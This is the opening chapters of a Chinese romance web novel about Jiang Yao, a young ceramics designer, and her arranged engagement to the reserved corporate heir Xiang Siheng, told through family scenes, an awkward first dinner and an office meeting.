《薄荷冬至[先婚后爱]》
1. 10.18薄荷
《薄荷冬至》
晋江文学城首发
著/州府小十三
北城最近接连降雨,天气不算好,雨水淅淅沥沥,空气里弥漫着潮湿气。
江窈正在四层阁楼整理自己的藏扇,其中一把是前些天大姐送来的,民国时期的产物,扇骨处勾勒的金线用了特殊的工艺,现在几乎已经失传。
很金贵,所以她已经连着来阁楼两天,用配置的药液清洗擦拭。
江家这一支四个孩子,大姐江槿之,往下二哥江衡晏,三哥江铭,再才是江窈。
“窈窈,”母亲詹美琳从楼下上来,喊她,“你爸和大姐回来了。”
江窈穿收身的奶白色高领薄毛衣,肩上搭了件很有质感的披肩。
披肩是某个奢品品牌方的限定款,前几天才送来,她觉得好看,从詹美琳那里要了过来,已经用了两天。
她放下工具,拉着披肩起身,先把那把民国时期的折扇放好,小声嘀咕了一句,才往门口的方向走。
她知道詹美琳叫她下去是为什么。
她也是前些天才知道自己和向家有婚约,向家的大公子向司恒前年从国外回来,整顿家里的公司,现在已经是集团内部认定的掌权人。
但比她大了七岁。
江窈往楼下走的时候嘴巴里还在嘀嘀咕咕。
从楼上下来,江博盛和江槿之已经在沙发上坐着了。
江槿之今年三十二岁,作为她的大姐,风风火火,雷厉风行。
江家做食品产业,海外贸易基本由她接手,她经常往来几个国家出差,江窈这两年能见到她的次数很少。
江窈一到客厅就挤着江槿之,在她身边坐下来,茶几上的水果盘里有新鲜的青提,她探身捏了两颗,塞进嘴巴。
江槿之正好结束和江博盛的对话,侧眸看向她:“扇子怎么样?”
江窈被甜得眯起眼睛,抽了纸巾擦手,俏皮地眨眨眼:“特别漂亮,扇骨的金丝线我找杨师傅修了一下,肯定没办法修复成原样,但暗纹轮廓出来了,还不错吧。”
江博盛放下右手的茶盏,点了点江窈的方向,对江槿之,虽然说的话是责怪,语气里却并没有责怪的意思:“你还不知道她?收到扇子就让人送到阁楼了,宝贝得跟什么似的,天天往那边跑。”
江槿之拍拍江窈,让她往旁边坐一点,帮她说话:“她不是就喜欢这些,由着她呗。”
江博盛拍了下大腿,还想说什么,詹美琳从厨房走出来,让佣人把燕窝羹放在江槿之和江窈面前。
詹美琳在沙发上坐下,指了下江博盛:“行了,你别说了,你再说她我把你放在一楼的那些茶具都扔了。”
有人做靠山,江窈又捡了颗青提,往大姐的方向偎了偎。
被老婆骂了一句,江博盛拍拍大腿,闭了嘴,没再说话。
詹美琳把燕窝羹往江窈的方向推,提起来:“你最近跟向司恒联系了吗?”
一听这句,江窈的脸垮起来。
向家那位是个冰窟窿,她微信发过去三句,对方要么“嗯”,要么“好”,要么“你说”。
她气得从那之后,到现在一连一个星期没再理过他。
江博盛刚刚就是想提这件事,听到詹美琳这么问,茶杯放下,又关注起来:“你妈说得对,最近又联系了吗,先前不是说这周末吃饭?”
圈子里的人大多花哨,没有定性,但江向两家关系好,江博盛几乎看着向司恒长大,知道他能力强,为人沉稳。
所以从父母的角度看,向司恒是他们很希望的女婿人选。
江窈当然知道父母的想法,但她真的觉得自己和向司恒八竿子打不着,合不来。
她又捏盘子里的青提,百无聊赖:“联系了,但没有说太多。”
几句之后,江窈回了楼上,江槿之还在下面跟詹美琳夫妇俩讲话。
刘姨上来,把刚刚江窈没喝完的燕窝羹端了过来,她收拾出来阁楼的小木桌,把燕窝羹放上去:“你妈妈说凉了就不好喝了,你嘴挑,到时候肯定又放着不喝。”
江窈耸肩笑笑,端起碗喝了一小口,又放下,拿起一旁修复折扇的工具。
擦扇子的软帕也是专门定做,布料经过处理,在国内很难找。
“谢谢刘姨。”
“那我先走了,你慢慢喝,厨房还有。”
修复软柄折扇,讲究“慢三稳一”,染料上过一次,中间要静等很长时间,才能上第二次。
每次还只能上一点,需要非常大的耐性。
江窈等候的时候,走到窗边的软塌,躺下,拿起手机给段琪打了一个电话。
江窈不想离家太远,本科在北城读的,国内最有名的艺术院校,学的陶瓷设计。
段琪和她同学校同专业,两人上学时关系不错,毕业合开了一个工作室。
二哥江衡晏给江窈出的钱,算段琪技术入股,总之这家工作室,两个一人一半,如今已经红红火火地干了一年。
“昨天那几个盏的釉上过了吗?”江窈跟她确定道。
段琪摘了工作时穿的围裙:“上过了。”
因为是江窈出钱,段琪却占一半的股份,所以段琪常喊江窈累的时候不用来,她会尽量多包揽一些工作。
江窈跟她说了几次不用,但段琪不好意思,说自己不出钱总要出点力,还说如果自己实在干不过来会跟她说,让她不要乱心疼自己。
工作室最近接了一批单子,上周江窈去了两次,两人一起定的设计稿,这周烧制、上釉的工作,由段琪来做。
江窈侧躺,看不远处刚被自己摆在架子上的折扇:“你不要太累了,我周末去看你吧,你想吃什么,我给你带溢香居的点心?”
“也没什么累的,”段琪说的是实话,“烧制有工人,洗泥拉胚还有学徒,我大多时候都是看着。”
段琪:“而且设计上的事情我们两个都是一人一半,我也没有多做。”
江窈夹着手机换成趴着的姿势,无聊玩起沙发上的
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挂穗,又问段琪用不用给她带点心。
“溢香居的点心?”
“对,就上次我给你带过,你说好吃的那个,椰丝糕特别香。”
“不用吧,我最近在减肥,”段琪遗憾地说完,又想起来,“你周末不是要跟向家那位吃饭?”
点心的话题被中断,江窈拨了下挂穗:“......不想跟他吃,不想理他。”
而且他最近都没有联系自己,江窈才不想上赶着给他发消息。
段琪不知道江窈的想法,看着工人把上好釉的瓷放进窑里:“但你们不是已经约好了吗?”
“嗯......也许吧。”
江窈在阁楼呆了一下午。
江槿之这次回来会在老宅呆两天,江窈吃过晚饭去找她,窝在姐姐的房间刷剧。
江槿之在工作,穿烟青色衬衣,戴眼镜,坐在卧室的办公桌后,在开一个跨国会议。
江窈就窝在卧室中央的白色长沙发里,穿缎面吊带睡裙,露着一双细长的腿,腿面盖了一张毛毯,还在琢磨向司恒的事情。
这一琢磨不打紧,被丢在一旁的手机吓了一跳。
手机在茶几上震了两下,她捞过来看了一眼,是向司恒。
对方先是发来一个地址,再是有文字的信息。
向司恒:[周六,晚七点。]
字少得像在给助理发开会通知。
早在半个月前,两人互相加上对方的联系方式时,就知道这个饭局,所以现在向司恒发消息来,应该是告诉她地址,同时再次向她确认这个时间是否合适。
江窈把正在播的剧暂停,拿着手机反复看了这两条信息,还是不想回。
这个人为什么每次说话都这么冷漠。
一板一眼,像在处理工作,她又不是他的下属。
江窈抱着手机往下滑了滑,彻底躺在沙发上,举高手机,端详这两条短信。
两分钟后,大概是她没有回,对面人又发来一条。
向司恒:[是否可以?]
对方都问出来了,她再不回就不太礼貌了,江窈想了想,还是勉强敲字,回复。
“可以”两个字刚发出去,江槿之喊她:“江窈。”
突然被姐姐点到大名,江窈下意识心神一颤,差点把手机扔出去。
江槿之轻皱眉,目光透过镜片,落过来:“在跟谁发消息?”
江窈手忙脚乱地把手机按灭:“......没谁。”
江槿之提醒她:“不要躺着看手机。”
“知道了。”江窈小声答应,撩起毛毯,撑着软塌坐起来。
除了刚刚的视频会,江槿之等会儿还要开一个公司的内部会议,江窈怕自己在这里打扰她,十分钟后,抱着平板从江槿之的卧室走出来。
向司恒又给她发了两条,她还没回。
等走回自己的卧室,她才重新把手机拿出来。
向司恒给她发来菜单,询问她菜色是否合适,是否有忌口。
2. 10.19薄荷
到底是两家人提前就说好的饭局,江窈也不太好使小性子,粗略地看了一遍菜单。
林苑的菜本来就符合她的口味,菜单上都是招牌,没有她特别不能接受的,她看了两眼,只把自己不喜欢吃辣发了过去。
向司恒:[好。]
再然后就没有然后了,直到江窈进到卧室,再洗了澡出来,手机都没有再收到消息。
手机对面的男人应该是把那个“好”字当做了结束对话的标志。
江窈坐在梳妆镜前涂完身体乳,敷了张面膜,面膜拿掉,又去浴室洗净脸,想了想,还是去衣帽间,挑衣服。
她虽然对向司恒的好感一般,但她其实很听家里的话。
大姐和二哥分别接手江家国内外的生意,三哥江铭做游戏产业,在业内也小有成就,正因为上面的哥哥姐姐都很厉害,她才没有什么压力,能做自己想做的事情。
而且她有家里集团的股份,每年有股份分红,属于只拿钱不干活。
所以她也力所能及地想为家里分担。
这次联姻,是很早以前就定下的婚约,如果拒绝,对江向两家的关系不好,所以她其实在一定程度上已经接受了。
走到衣帽间,江窈挑了两条裙子在身上比了比,最后还是决定穿湖蓝色的那条。
湖蓝色衬得她肤色更白,虽说她也没有把向司恒看得太重要,但娇生惯养的大小姐,不愿意在任何情况下失了面子,到哪里都要穿得漂漂亮亮的。
周六,和向司恒吃饭之前,江窈提前来了工作室。
她到的时候,段琪正看着工人把上过彩的瓷搬到架子上阴干。
段琪听到门口的动静,转头看过去,有点惊喜:“你怎么来了?”
江窈走过去,右手的袋子递给她,挽上她的手臂:“不是说过来给你送点心么。”
“看有没有你喜欢的?”她点点段琪手中的袋子,冲她眨眼睛。
段琪低头看袋子里的东西,江窈带来的很多,而且基本都是她喜欢的口味。
江窈虽然因为从小锦衣玉食有点娇,但对身边的人大方,性格也不错,所以并不讨人厌,段琪内向,每次看她,都觉得向往,也觉得她可爱。
段琪收拢袋子,也挽上她的手臂:“好啦好啦,都喜欢。”
两个姑娘就这样挽着手,往工作室的内间走。
工作室的学徒大多是在校生,除了江窈和段琪,工作室还有两位和学徒不同的工作人员,这两人以前就是陶瓷的独立设计师,是工作室刚开,人手不够时招聘来的。
两个人其中一个出差,另一个今天在工作室,叫张曼,江窈和段琪路过时,她朝她们两个打招呼。
进了内间,关上门,江窈在靠窗的沙发上坐下,段琪把她拿来的那袋子点心放在桌子上,拿出来往冰箱里放时,转身问她要不要吃。
江窈摆手,随手捡了个抱枕塞在怀里,往后靠:“不要,那些都是带给你的,你慢慢吃。”
“对了,上次我哥拿来的茶叶你喝了吗?”江窈想起来又问。
段琪正好把最后一个点心放进冰箱:“没呢,还在另一个小冰箱里,你要喝吗?”
去年拍卖会上,江窈的二哥江衡晏拍的四万多一两的毛尖,打了个小包装,让她拿来工作室喝。
她带过来给段琪,说到价格时段琪惊讶地张了张嘴,后来就把那茶像供着一样,放在了另一个冰箱的最上层。
江窈看她转身过来,翘起唇角,有点好笑:“那茶是我哥带过来,让我们喝的,你把它当贡品放着干什么。”
段琪走过来在她身边坐下,把桌面上下午刚点的奶茶拖过来:“算了吧,你不来我自己喝,怕折寿。”
她说完又看江窈:“你今天不是要出去吃饭,怎么这个时候过来?”
江窈看了眼墙上的表,有点懒:“晚上才吃,现在还不到五点。”
段琪中午点的奶茶是全糖,现在喝着,觉得过于甜腻,随口问:“跟你订婚约的是向华集团的那个向司恒?”
江窈听出她语气里的震惊和崇敬,停了拨弄桌子上摆件的手,抬头看过去,想了想:“他很有名?”
不然段琪怎么会知道,还用这种语气。
虽然奶茶太甜,但段琪不想浪费,还是强行往下塞:“好像是,我前天帮我表姐整理采访稿,听我表姐提过。”
段琪的表姐现在在央视的财经新闻部。
段琪把奶茶放下,接着道:“我也是听我表姐说的,财经圈好像很多人很崇拜他,向华集团前几年经历危机,好像快不行了,他给救回来的。”
段琪:“现在才不到三年,向华又跻身北城前几的企业,听说他雷霆手腕,集团内人员大换血,现在高层也都是他的人。”
段琪最后总结:“向家本来地位就高,反正他挺传奇的。”
段琪说完,感觉江窈有点恹恹的,拿奶茶的手碰了碰她:“你觉得他怎么样?”
江窈翻了个身,情绪依旧不高涨,想了想,言简意赅:“......冰窟窿。”
快六点时,江窈频繁看了几眼手机,终于在数字变化,刚跳到六点整时,收到消息。
不是向司恒发的,是他的秘书。
秘书像老板,向司恒的秘书也沾了几分他的正经冷淡,消息是卡着时间发的,六点整分毫不差,消息的内容也言简意赅。
问她现在是否还在工作室,他过来接人,还有十分钟左右到。
江窈支着下巴,懒懒应了两下,说自己确是在工作室。
手机放下,段琪看江窈的脸色,倾着身子问她:“你这么不情愿吗?”
她在表姐的新闻稿上见过照片,一些政商界大佬的合照,男人穿黑色西装,刚三十,站在一众年长的企业家和政府高官里面,依旧沉稳有度,气质不输任何人,长相更是一等一的好。
段琪倚在江窈身边:“好像圈子里很多人喜欢他,说他长得好看。”
段琪:“当然肯定也和他的家世,能力有关,长得特别帅的大佬,反正都喜欢吧。”
江窈拽了
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自己的衣裙裙摆,从沙发上站起来:“嗯。”
段琪难得看江窈这幅样子,觉得有趣,冲她眨眨眼:“快去吧。”
说完还朝不远处的冰箱示意了一下,再眨眼:“没吃饱的话就来我这里,冰箱里的点心给你留着。”
出了工作室,向司恒的司机就在外面等她。
工作室前的林荫道旁停了辆黑色轿车,江窈跟着向司恒的秘书走过去,秘书帮她开门,她坐上后座。
上了车,秘书从副驾驶往后转身:“国外的公司突然有事,老板还在开会,让我先来接您。”
秘书:“他马上下会,一定会在七点前到。”
晚饭约的是七点半,现在才六点,时间还早。
江窈随便点了下头,脑袋支在窗框上。
向司恒比她预想的还早到一点,六点五十,到两人约好的林苑。
相比餐厅,林苑更像是一处园林,老板不缺钱,平时接多少客人也全看心情。
向司恒和这里的老板是熟识,对方也看向家的面子,每次向司恒来,都会给他留位置。
这次预留的位置,在湖边的一处暖亭内。
江窈到得早,就坐在这里,一边用手机跟段琪发消息,一边等他。
等讨论到第二轮瓷器上釉的事情,江窈看到纱帘外的人影。
她收了手机,看到应侍把纱帘挑开,穿着西装的男人从外面进来。
设计行业相通,兴趣使然,江窈对衣服也有些研究,她看出向司恒身上的西服是某个意大利的顶级品牌,品牌历史非常考究,没有成衣,只接定制。
这家的衣服她的骚包三哥也穿过,但没有眼前的男人穿着好看。
段琪有一句话没说错,向司恒确实长得好看,不过气质太过沉稳严谨,无形中给人一种上位者的压迫感。
江窈匆匆扫了一眼,边垂眸继续摆弄自己的扇子。
虽然联姻的事她基本已经答应,但眼下还是在心里小声嘟囔,觉得她和向司恒聊不来。
向司恒今天确实有事,不然也不会比江窈迟一些再来。
他早就知道这个婚约,只不过他那个时候还在国外读博,顺手处理一些向家在海外的业务,江窈更是刚上大学。
现在会把这件事提上日程,是因为江窈毕业了。
她相较于他,年龄确实小,穿一身湖蓝色的吊带长裙,身材纤细,皮肤很白,露着天鹅颈。
江窈感觉到人坐下了,抬头再看过去。
男人正把外衣递给走上来的应侍,他内里只穿了一件黑色衬衣,腕间一枚同样暗色的宝石袖扣。
他的着装和他给人的感觉一样,低沉,严肃,冷淡。
江窈动了动身体,坐直了一点。
对面的男人瞧她两眼,把倒过水的茶盏推过来:“江小姐。”
江窈也是第一次相亲,不知道要不要做自我介绍,在椅子上坐得不太自在,指尖拨弄了两下手里的扇子,看着他:“我叫江窈。”
对方又答:“我知道。”
3. 10.20薄荷
江窈不喜欢这种沉默的气氛。
又别扭地吃了一会儿饭,江窈实在受不了。
虽然生气,但还是很有教养,筷子轻轻放下。
拧着性子朝那面的人:“我嚣张跋扈,娇纵惯了,你可能受不了我。”
向司恒吃得也不多,似乎是讲究食不言寝不语,也放了筷子,从桌面的木架中拿了一条湿手帕:“嗯。”
“你受不了我还要娶我?”
对面的男人把用过的帕巾放在桌面,看她:“婚约是两家很早就定的,如果不是必要的理由,我不会违背。”
向司恒说完,右手搭在桌面,继续看她,停了两秒,补充:“如果你有异议,和我接触之后依旧不想履行婚约,我也接受。”
她年龄实在小,如果不愿意,他当然会尊重她的意愿。
江窈觉得他说话简直像在谈生意。
她扫了眼桌面上色泽极好的饭菜,还是气不过他冷淡的语气:“你当我是什么?你的合作伙伴吗?”
对面的男人沉吟,片刻后:“嗯。”
他眸色沉稳,注视着她:“我们之前没有感情,这也是第一次见面,联姻相比正常结婚更像做生意,所以我们也确实是合作伙伴。”
向江两家认识,两人当然也见过,但最近一次也在几年前,应该是某个宴会上,以联姻对象的关系见,这还是第一次。
江窈刚说的那句是气话,没想到向司恒真的这么回复。
她长得像詹美琳,双眼皮很宽,本来就是偏圆的眼睛,生起气来眼睛更是瞠得圆。
她不自觉的微微提高了语调:“你说什么?”
应侍从外进来,把餐车上的两个小盅端到桌面,盅里炖的是成色上佳的松茸汤。
向司恒扫了一眼,又瞧她,把她当小姑娘,杯子放置桌面,回答她的问题:“江向两家关系好,生意上一直有往来,我们结婚,有利于两家关系,也便于一些项目的合作。”
从林苑出来已经不早,但向司恒还是先回了趟公司,正巧堂妹向桉过来找他。
向桉拿完文件,从他的办公室离开前,随口问到他今天相亲的事,听向司恒说完,沉默两秒。
向桉:“你真的跟江窈这么说?”
晚上去吃饭前,开的那场视频会,结束后法务部整理合同,秘书十分钟前才把补充协议递上来。
向司恒签了文件,没抬头:“对。”
向桉狐疑:“你真是这么想?”
“嗯。”向司恒把签好的文件合上,放在一侧。
向桉摇头无奈,不可思议:“你就算是这么想的,但也不能这么说啊,江窈是女生,而且年龄那么小,肯定脸皮薄。”
虽然她去年结婚之前,也是这么跟对方说的,不过薄轶洲不一样,他们两人当时都当对方是合作方。
向司恒语气淡漠:“联姻本就是这么回事,总要跟她说明白。”
向桉无语,正想再说话。
向司恒抬头,把她落在桌面的车钥匙丢给她:“行了,拿完东西赶快走吧。”
向桉接住钥匙,放进外衣口袋:“我老公来接我。”
向司恒看她一眼,似是嫌她麻烦,作势要去拿手机:“薄轶洲什么时候来?”
向桉把文件用牛皮纸袋装好,抱在怀里:“现在就到了。”
她看了眼手机,朝向司恒扬手,转身往门口的方向走:“我先走了,不能让我老公在楼下等我太久。”
向司恒没理她,签完所有文件,接通办公室的电话,秘书进来,把他走后几个高层商量出的决议汇报给他。
他三年前回国,那时向华岌岌可危,他砍掉三条生产线,整合资源,把重心放在AI相关的科技研发。
一年时间便初见成效,后来整个向华的重心逐步转移,在新兴科技领域占有足够高的地位,今年年初直至现在,高层换血,现在基本都是他的人。
所以圈内的传言没错,向华回到了鼎盛时期,而把向华救起来的向司恒,是现在向家集团的掌舵人。
向司恒听完秘书汇报,手机响起,他把手中的钢笔盖上笔帽,拿起看了一眼。
是刚从他办公室走的向桉。
他接起电话,听到手机那面的背景音,有男人的嘱咐声:“少吃点甜的。”
再接着是向桉的声音,先回答那侧:“知道了。”
随后才是转向接起电话的向司恒:“哥,爷爷打来电话,说想见见江窈。”
向司恒把笔放下,皱眉:“怎么给你打?”
向桉不置可否,点出原因:“他说给你打三个电话,你不一定接一个,而且说就是给你说了,你也不会带江窈回去,还不如告诉我,让我探探你的口风。”
那侧人沉默数秒:“再说吧。”
向桉叹道:“我就知道。”
“知道什么?”
“知道你不会带江窈回去,”向桉不明白原因,“你们两个见面谈的不好吗,我觉得江窈很可爱。”
对面人声音冷淡,又拿话堵她:“这两天忙,再说。”
向桉也不再多劝:“行吧,爷爷身体不好,你有空去看看,过段时间说是还要做手术,他可能是想趁现在身体还不错,早点看你结婚。”
祖父向巍安今年已经八十五,向江两家的婚约,最初还是他和江家老爷子定的,这会儿当然想看着向司恒安稳完婚。
向桉:“我话可带到了,反正提前告诉你,你如果不带江窈回去,爷爷八成之后还是要再打给你,不达到目的,他绝对要烦死你。”
“你不烦死我就行了。”向司恒油盐不进,又催她挂电话。
向桉不知道跟那面电话下的男人吐槽了一句什么,接着对向司恒道:“那我挂了。
向司恒:“嗯。”
再结束工作,已经是晚上十一点。
向司恒揉了下眉心,往后靠在座椅,休息片刻后,睁开眼起身。
他联系了司机来接人,穿上外衣,往屋外走时,低头看了眼手机。
晚上的饭局结束后,两人还没有发过消息。
-
周日,江窈没忍住,去了工作室找段琪。
江槿之还在家,前天晚上她吃完饭回去,正好在一楼遇到,江槿之问她见面情况,她不想让家里为难,没说实话,吞吞吐吐敷衍了两句,上楼回了自己的卧室。
回房间,洗澡收拾,再上床,躺在床上越想越气,一直到凌晨一点都没有睡着。
因为这事,她最近两天都没睡好。
她趴在工作室的沙发上闭目养神,段琪坐在一旁,正低头吃她昨天带来的椰丝糕,咬一口,口里溢满椰香。
段琪边吃,边抹嘴边的碎渣:“你没睡好?眼睛下面都有黑眼圈了。”
江窈很注意保养,每天晚上十一点,准时上床睡美容觉,段琪和她认识这么久,当然知道她的习惯。
江窈闭着眼,抹了下眼底,慢吞吞地应:“嗯......”
段琪确实喜欢这家的椰丝糕,一连吃了两块,又问江窈吃不吃。
江窈抬手轻摆:“不吃,气都气饱了。”
江窈眼型偏圆,但眼角微微上翘,睫毛又长,五官精致,而且她总喜欢穿一些吊带,或是显身材的衣服,气质上有一种娇憨妩媚感。
“怎么,谁惹你了,向司恒?”段琪问。
江窈心里有点堵:“除了他还会有谁。”
“我听你哥说他人不是还不错么,总比圈子里大多数花花公子强。”
江窈睁开眼:“我二哥?他什么时候过来了?”
开工作室的钱是江衡晏出的,他现在因为处理公司事务,不住在老宅,住在江家公司附近,不过偶尔会过来看看。
段琪回她:“昨天上午,他路过,进来看了一眼,不过你没在,他就走了。”
江窈嗯了一声,拉住段琪的手,凝神看她的指甲:“你这个指甲油没有我买的好,你回来卸掉,涂我那个。”
段琪:“你的哪个?”
江窈往不远处示意:“就是我上次来,放在冰箱的那个,那个能养指甲。”
段琪的话题被她带偏,现在反应过来,轻拍她,旧事重提:“向司恒真的气你了?”
“嗯......”江窈放开她的手,重新躺下,“我前天见他,他上来就跟我‘合作伙伴’。”
江窈提起来,眉眼间更染了点不高兴:“虽然我知道是联姻,但也用不着他总提,是联姻,但对我来说也是结婚,他一直在那里合作伙伴,合作伙伴。”
道理她都懂,不然也不可能答应联姻,但对方这么直白地表达“我不喜欢你”,她还是难免失望,心里不舒服。
江窈重复着他的话,越想越气,翻了个身,重新闭上眼睛。
段琪拍拍她的手,想安慰她,但不知道怎么开口,等她平静了一会儿,小心问她:“那你这婚还结吗?”
江窈趴了片刻,右臂从下巴处拿开,像是叹了口气:“结呗。”
江窈:“要退婚会很麻烦,而且不和他结也要和别人结,那还不如选他。”
向司恒无论怎么说,人品和能力没得挑。
段琪点头,也同意她
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的说法,刚想说话,门外有学徒过来敲门。
两人抬头看过去。
穿白衬衣的女生轻轻推开门,对他们示意:“江总来了。”
江衡晏过来,是要接江窈去吃饭。
江铭的游戏公司才结了一个项目,打电话给江衡晏,约他晚上吃饭,后来一合计,决定也叫上江窈。
江家的生意一分为二,江槿之管海外,国内的主要在江衡晏手里。
江衡晏很忙,兄妹三人已经很久没有聚在一起吃过饭。
江窈出来,看到江衡晏坐在客厅靠墙的椅子上:“哥。”
男人穿白色衬衣,单臂的袖口挽到肘间,清隽矜贵,看到她过来,从座位站起,先是扫了眼她身后,目光再落到她身上:“走吗?”
江窈点头,走过去,走到一半,想起来什么,又折返回去,从右手的手提袋里掏出一个首饰盒,塞到段琪怀里。
昨天她跟江槿之出门买东西,看到一个耳钉觉得很适合段琪,便想着买来送给她。
段琪推拒:“你怎么又给我买东西......”
江窈又往她手里塞了一下,往后退:“看到适合你就买了,你总跟我客气什么,又不贵。”
这耳钉对段琪来说,价格肯定是高的,但严格来讲,并不算特别贵。
“前几天那些瓷都是你看着烧的,你辛苦了,”江窈说完,又歪了下头,强调,“不过我送你这个不是为了感谢你,就是单纯觉得你戴好看,想买给你。”
段琪无奈,笑了一下,江窈是大小姐,但对身边人也真的很好。
江衡晏对她点了下头:“拿着吧。”
段琪受宠若惊,握着首饰盒也对他点头示意,表达感谢,再扬手面对江窈:“谢谢。”
江窈右手在空中做了一个再见的动作:“走了。”
江窈上车,坐在副驾驶,先和江衡晏一起去接江铭。
江铭的游戏公司离江窈的工作室不远,等到了他公司楼下,遥远看到等在路边的人。
江铭提前下楼等他们,此时看到车,快步走过来。
他只比江窈大两岁,性格比已经江衡晏活泼得多,不然也不会开游戏公司。
他拉开车门,坐上后座,江窈看到他在后面坐下,干脆从副驾出来,和他一起坐在后面。
她前段时间跟段琪一起玩了一个游戏,现在还没有通关,打算问问江铭。
车再次启动,开出去两个路口,江窈察觉不是去餐厅的方向。
她收回举到江铭面前的手机,屏幕还停在一个游戏界面,问还在开车的江衡晏:“不是去南湖吃饭吗?”
江衡晏单手搭在方向盘:“我有点事,要先去一趟向华。”
前段时间一个项目,江衡晏在北城接手一块地,这地最早中标的是向华,他需要和向司恒沟通一些事情。
江窈不太高兴,嘟囔:“你去见向司恒?”
十字路口红灯转绿,车再次启动。
江衡晏应了一声:“对,和他约了在会议室见面。”
二十分钟后,车到高新区,向华集团楼下,江窈从后座下来,往前小跑两步,跟上两个哥哥。
江铭走在中间,回头看她一眼:“你扯衣服干什么?”
她穿了条米色的收身连衣长裙,上面搭了一件小外衫,正在把长裙的褶皱抚平,更显纤细的腰身。
江窈没回答他的问题,只是问:“二哥谈事情,我们为什么也要跟着上去?”
江铭自己带团队做游戏,没穿衬衣西裤,穿的是黑色的机车夹克,他下巴点了下身后的车:“不然你要在车里等半个小时吗?”
江窈“哦”了一声,跟上他,又问:“那岂不是也要见到向司恒?”
江铭手里是她的手机,正在帮她调刚刚那个游戏的画面:“嗯,他已经在会议室了。”
有秘书室的人在电梯前等候。
几分钟后,在工作人员的引导下,从电梯出来,到向司恒的会议室前。
江铭半路接到电话,没有跟过来,问工作人员要了一间空的休息室,进去打电话。
跟在江衡晏身后的只有江窈。
秘书轻叩了两下门,帮他们把会议室的门打开,江窈跟着江衡晏走进去,看到坐在里面的人。
男人穿着和上次一样的黑色衬衣,右手袖口挽起,露出半截小臂,正翻看桌面的一份文件。
听到动静,他停了翻文件的动作,落眸看过来,再之后视线停在江窈身上。
她穿了件很显曲线的连衣长裙,腰肢纤细,正站在江衡晏的斜后方。
4. 10.21薄荷
向司恒的视线从江窈身上移开。
他和江衡晏对视,两人互相朝对方点过头,就算打过招呼。
江衡晏:“我等会儿要和我妹还有江铭吃饭,不想让他们在下面等,所以带他们上来。”
“嗯。”坐着的人语气依旧平缓。
刚刚秘书打电话上来说过,他知道。
江衡晏从茶几一侧绕过去,走到对面沙发前,看江窈还站在原地:“窈窈。”
江窈身型稍顿,目光从向司恒的方向收回来,转身跟过去,在江衡晏身边坐下。
坐下时垂了眼睫,拍拍小腿,又拉了下裙摆,她举止间总有一种很自然的娇嗔感,睫毛长长的,像把小蒲扇,扇动两下,又抬起。
向司恒落在她身上的视线再次收回,落眸看向桌面刚读了一半的文件。
有秘书敲门,走进来,送上几份有关北郊项目的资料。
江衡晏看了几眼资料,最早中标的是向华,这块地因为有些纷争,中间经了几手,最后落在江家手里,最初的资料缺了几份,他今天过来,就是为了找向司恒要这些文件。
向司恒把刚确认过的一份资料递给他:“中间还经手过傅家,不过他们也只是政府的合作方,统计资料也不全。”
江衡晏接过:“我知道。”
向司恒看他:“这块地你们打算做什么?”
“建工厂,”江衡晏回他,“最后一批文件已经递交给环保部门,最快这个月底审核完,年底动工。”
向江两家一直生意往来频繁,两人又聊了几句,江窈听不懂,调整了坐姿,低头玩自己的扇子。
她手里有个巴掌大的团扇,是去年过年江衡晏从南城回来,带给她的,出自一个很有名的师傅之手,是个随身挂着的装饰物件,她觉得好看,经常挂在包上,没事的时候,时常拿在手里摆弄两下。
不消片刻,有人敲门。
因为要核对一些信息,江衡晏也带过来两个法务,一直在向司恒的秘书室,分析整理刚拿到的资料,现在遇到一些问题,请江衡晏过去看一下。
江衡晏离开,门被秘书关上,房间安静下来,只剩向司恒翻看文件的声音。
江窈刚刚还能当他不存在,现在不可能了。
她无意识抬头,目光落过去,又觉得不自在,放下手里的东西,两手虚握搭在自己的膝盖上。
对面沙发的男人一直没抬头,他貌似习惯穿深色衬衫,领口的扣子系在最上一颗,禁欲又冷漠。
他的脸部线条冷冽深邃,不说话,只是坐着,无形中就会给人压力。
江窈更不自在,又动了动,伸手想从茶几上拿水杯。
对面的人在这时抬头,他把手中的文件合上,放在一侧:“想喝水?”
江窈也不渴,会拿杯子,只是不自在时无意识的动作,但现在向司恒这么问,她只能顺着回答。
“对...想喝水。”
会议室相比她和向司恒吃饭的餐厅更正式一点,可能是因为他给人的压力,这个环境里,面对向司恒,她莫名有点怵。
她穿的收身连衣裙,凸显身型,但因为裙摆太窄,坐下和站起都不方便。
她握着杯子,刚想起身去接水,右手的玻璃杯已经被人拿过去。
他拿杯子时,指尖不小心触到她的手背,说了句“抱歉”。
江窈坐在原位,看到男人转身往不远处的茶台走,他高大挺拔,衬衣裹在身上,能看出他有健身痕迹的身型。
她手背刚被碰到的那块皮肤像是还沾了他的体温,微微发热。
半分钟后,向司恒走过来,把盛了水的玻璃杯放在她面前,重新在刚刚的沙发坐下。
江窈两手握着杯子,往会议室门口的方向看了一眼,不知道江衡晏什么时候会回来。
男人坐下后,没再看她,只是再次拿起刚刚放下的文件翻阅。
江窈两脚交替,轻轻在地毯上踩了几下,思考两秒,还是问:“你以前谈过恋爱吗?”
她两手抱着玻璃杯,放在膝盖上,指尖染了带细闪的粉金色,说话时尾音微微上翘,带一些高傲和娇滴滴的感觉。
向司恒抬眸看过去,脸上表情意味不明,片刻后合了笔帽,放在桌面。
可能是他给人的压迫感,让人觉得视线中带了审视。
江窈像炸毛的小猫咪,下巴扬起来,给自己打气似的:“怎么了,我不能问吗?”
“可以。”对面男人声线平稳。
他右手搭在膝盖,平声回答她刚刚的问题:“没有。”
江窈眼皮半垂,咕哝:“都三十了,没谈过恋爱,不会是有什么毛病......”
在恋爱自由的现代,无论男女,年到三十还没有谈过恋爱的,都是少数。
会议室安静,向司恒听到对面女生的小声嘀咕。
他把秘书刚送进来的蛋糕往前推了推,盘子里是精致小巧的三角蛋糕,最上层涂了晶莹的草莓酱。
是向华的待客之道,平时有客人过来,总助室也会差人下去,准备蛋糕和饮品,江衡晏的位子上放的是栗子蛋糕和咖啡。
向司恒把蛋糕往前推后,收手回来,声线微沉:“我很早之前就知道和江家的婚约,那时你
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刚高中毕业。”
江窈抬头,看到男人的视线落过来,他的眼神平静深邃。
向司恒:“我不会在有婚约的情况下,以玩乐为目的再和其他人建立亲密关系。”
江窈半信半疑,但触到向司恒的眼神,觉得他这样的人,也应该就是这样的行事作风。
他没喜欢过别人也很正常,他看起来也丝毫不会喜欢她。
想到这里,江窈又有点气,想翘尾巴。
她整了整衣服,又诧异:“你不问我吗?”
对面的男人低眸之后,又轻抬了眼皮,看过来:“问你什么?”
